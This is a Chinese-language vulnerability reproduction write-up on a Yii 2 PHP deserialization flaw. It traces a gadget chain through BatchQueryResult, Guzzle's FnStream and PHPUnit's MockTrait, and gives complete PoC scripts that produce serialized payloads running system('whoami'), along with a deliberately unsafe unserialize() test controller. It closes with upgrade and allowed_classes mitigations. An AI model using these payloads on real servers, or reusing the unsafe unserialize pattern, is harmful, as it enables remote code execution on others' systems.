Yii反序列化漏洞复现到新利用链发现
字数 978 2025-08-10 08:29:01
Yii反序列化漏洞分析与新利用链发现
漏洞概述
Yii框架存在一个反序列化漏洞,影响版本至2.0.38(该版本修复)。漏洞允许攻击者通过精心构造的序列化数据执行任意代码,危害严重。
环境准备
- Yii版本:2.0.35(受影响版本)
- 环境配置:
- PHPStudy集成环境
- Apache 2.4.39
- PHP 7.4.3
- 调试工具:Xdebug + PHPStorm
漏洞复现基础
创建测试控制器
class TestController extends Controller {
public function actionIndex($message="Hello") {
var_dump(unserialize($message));
// return $this->render("index", ['message'=>$message]);
}
}
访问路径:http://127.0.0.1/yii2.0.35/web/index.php?r=test/index
漏洞分析技巧
搜索关键方法
-
查找
__destruct()方法:grep -r "__destruct" vendor/ -
查找可控方法:
- 正则匹配可控方法:
->\$([a-zA-Z0-9_-]+)\( - 正则匹配可控参数:
[^if ][^foreach ][^while ]\(\$([a-zA-Z0-9_-]+)->
- 正则匹配可控方法:
漏洞利用链分析
初始利用点
vendor/yiisoft/yii2/db/BatchQueryResult.php中的__destruct()方法:
public function __destruct() {
// make sure cursor is closed
$this->reset();
}
reset()方法分析
public function reset() {
if ($this->_dataReader !== null) {
$this->_dataReader->close(); // 关键调用点
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
危险close()方法
在vendor/guzzlehttp/psr7/src/FnStream.php中找到危险方法:
public function close() {
return call_user_func($this->_fn_close); // 可执行任意函数
}
POC构造
基础POC
<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
var_dump(serialize($b));
}
危害升级POC
利用PHPUnit\Framework\MockObject\MockTrait类的generate()方法:
<?php
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode = "system('whoami');";
private $mockName = "anything";
}
}
namespace GuzzleHttp\Psr7 {
use PHPUnit\Framework\MockObject\MockTrait;
class FnStream {
var $_fn_close;
function __construct() {
$this->_fn_close = [new MockTrait(), 'generate'];
}
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
file_put_contents("poc.txt", serialize($b));
}
最终POC(带phpinfo)
<?php
namespace PHPUnit\Framework\MockObject {
class MockTrait {
private $classCode = "system('whoami');phpinfo();";
private $mockName = "anything";
}
}
namespace GuzzleHttp\Psr7 {
use PHPUnit\Framework\MockObject\MockTrait;
class FnStream {
var $_fn_close;
function __construct() {
$this->_fn_close = [new MockTrait(), 'generate'];
}
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
file_put_contents("poc.txt", serialize($b));
}
利用链总结
BatchQueryResult::__destruct()->reset()reset()->$this->_dataReader->close()FnStream::close()->call_user_func($this->_fn_close)- 通过
MockTrait::generate()执行任意代码
修复建议
- 升级到Yii 2.0.38或更高版本
- 在反序列化时使用
allowed_classes参数限制可反序列化的类:unserialize($data, ['allowed_classes' => ['allowed_class1', 'allowed_class2']]);
注意事项
- 虽然会抛出异常,但代码仍会执行(可能与PHP的输出缓冲有关)
- 实际利用需要考虑目标环境的具体配置和组件
- 不同版本的Yii可能有不同的利用链